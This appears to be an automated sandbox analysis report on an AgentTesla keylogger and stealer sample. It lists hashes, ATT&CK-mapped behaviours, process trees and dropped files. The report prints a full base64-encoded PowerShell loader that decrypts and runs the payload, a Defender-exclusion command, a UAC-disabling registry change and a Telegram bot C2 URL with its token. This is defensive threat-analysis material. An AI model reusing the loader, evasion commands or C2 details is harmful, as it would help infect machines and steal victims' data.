agenttesla | 5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e

General

Target

5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe
Size

1.1MB
MD5

2c4576ca7c0f8abeb6647ca51cd19b2c
SHA1

cac2fdb51c878e8dec6e0f392281a3562ea9ecc0
SHA256

5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e
SHA512

998472adbb49895a2ee41b3f868b9c61b45bbcb3609296f234ff50fe391098e1c8f9e04c5cd5a14575ea268e229b3ffa8c73949fae4ac541bd7b614a83d6bb45
SSDEEP

24576:6lMAYTFQBeU31HTh/OZHCeTcILzp6Od7b:6lMlTKsi1/OZMIM63

Score

10^/10

agenttesla evasion execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot7062542161:AAGTRYaovexgStrKeV0wI1K5scR6qGG6-3k/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

powershell.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe = "0"	powershell.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2416 powershell.exe
1352 powershell.exe
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	powershell.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

32 api.ipify.org
33 api.ipify.org

flow	ioc
32	api.ipify.org
33	api.ipify.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	powershell.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2416 set thread context of 4008 2416 powershell.exe msbuild.exe

description	pid	process	target process
PID 2416 set thread context of 4008	2416	powershell.exe	msbuild.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exemsbuild.exe

pid	process
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
1352	powershell.exe
1352	powershell.exe
1352	powershell.exe
4008	msbuild.exe
4008	msbuild.exe
4008	msbuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exemsbuild.exe

description pid process

Token: SeDebugPrivilege 2416 powershell.exe
Token: SeDebugPrivilege 1352 powershell.exe
Token: SeDebugPrivilege 4008 msbuild.exe

description	pid	process
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	4008	msbuild.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exepowershell.exe

description	pid	process	target process
PID 3948 wrote to memory of 2416	3948	5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe	powershell.exe
PID 3948 wrote to memory of 2416	3948	5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe	powershell.exe
PID 2416 wrote to memory of 1352	2416	powershell.exe	powershell.exe
PID 2416 wrote to memory of 1352	2416	powershell.exe	powershell.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 4008	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 3696	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 3696	2416	powershell.exe	msbuild.exe
PID 2416 wrote to memory of 3696	2416	powershell.exe	msbuild.exe

C:\Users\Admin\AppData\Local\Temp\5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkAMgAsACAAMAB4AEUARgAsACAAMAB4AEMANAAsACAAMAB4ADMAQwAsACAAMAB4AEQARgAsACAAMAB4ADcAOQAsACAAMAB4ADAAQgAsACAAMAB4ADAANgAsACAAMAB4AEIAOAAsACAAMAB4ADkARQAsACAAMAB4ADkAMQAsACAAMAB4ADgANwAsACAAMAB4AEQAOAAsACAAMAB4AEMAMwAsACAAMAB4AEQAMgAsACAAMAB4AEYAQwAsACAAMAB4ADYAMAAsACAAMAB4ADUANwAsACAAMAB4ADUAQwAsACAAMAB4ADYANQAsACAAMAB4ADUARgAsACAAMAB4ADMAMQAsACAAMAB4AEQAQQAsACAAMAB4ADEANwAsACAAMAB4ADMARAAsACAAMAB4ADYARAAsACAAMAB4ADYANgAsACAAMAB4ADYAMQAsACAAMAB4AEUANQAsACAAMAB4ADgARAAsACAAMAB4AEYAOQAsACAAMAB4ADUAOQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADYALAAgADAAeAA4AEQALAAgADAAeABCADMALAAgADAAeAA5ADgALAAgADAAeABGADkALAAgADAAeAA3AEEALAAgADAAeABBADMALAAgADAAeAA2ADIALAAgADAAeABBADMALAAgADAAeABDAEQALAAgADAAeAA3ADQALAAgADAAeAAyAEUALAAgADAAeAA1ADIALAAgADAAeABBADAALAAgADAAeAAyAEYALAAgADAAeAA3ADMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - UAC bypass
  - Windows security bypass
  - Looks for VirtualBox Guest Additions in registry
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Maps connected drives based on registry
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\5a24cf78cb6054ef0f93726c02aeb7c0d0b2e772b69fb1a9907b6ba8ef8f952e_NeikiAnalytics.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1352
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4008
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    PID:3696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

2

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

2

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

2

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfpp1xee.yg2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file-8453.putik

Filesize
33KB

MD5
04662bf07c3f7e0eece06dcffb865b67

SHA1
42e864c5e2137884868fe976cc1020da836ba51f

SHA256
c3bb7b7bf67149f81a5a7ee90ff9ce96a2b9d8572be126ae385cd464628d701c

SHA512
72a4c77d1753fe5c322579a0b4c1d80bd23deaf51cfc958aec1a56632e77b4911a1f43701e57470b30cc5feb9096a0216ebb22d9cc7cf4cf005afabb71d087df

Download Submit
memory/1352-35-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/1352-27-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/1352-30-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/1352-28-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/2416-16-0x000002C23E550000-0x000002C23E5E6000-memory.dmp

Filesize
600KB

Download
memory/2416-1-0x00007FF830593000-0x00007FF830595000-memory.dmp

Filesize
8KB

Download
memory/2416-36-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/2416-15-0x000002C23E3D0000-0x000002C23E3DC000-memory.dmp

Filesize
48KB

Download
memory/2416-12-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/2416-2-0x000002C23E3E0000-0x000002C23E402000-memory.dmp

Filesize
136KB

Download
memory/2416-13-0x00007FF830590000-0x00007FF831051000-memory.dmp

Filesize
10.8MB

Download
memory/4008-29-0x0000000005860000-0x0000000005E04000-memory.dmp

Filesize
5.6MB

Download
memory/4008-32-0x00000000052B0000-0x0000000005316000-memory.dmp

Filesize
408KB

Download
memory/4008-31-0x000000007543E000-0x000000007543F000-memory.dmp

Filesize
4KB

Download
memory/4008-17-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4008-37-0x0000000006680000-0x00000000066D0000-memory.dmp

Filesize
320KB

Download
memory/4008-38-0x0000000006770000-0x0000000006802000-memory.dmp

Filesize
584KB

Download
memory/4008-39-0x00000000066F0000-0x00000000066FA000-memory.dmp

Filesize
40KB

Download
memory/4008-40-0x000000007543E000-0x000000007543F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads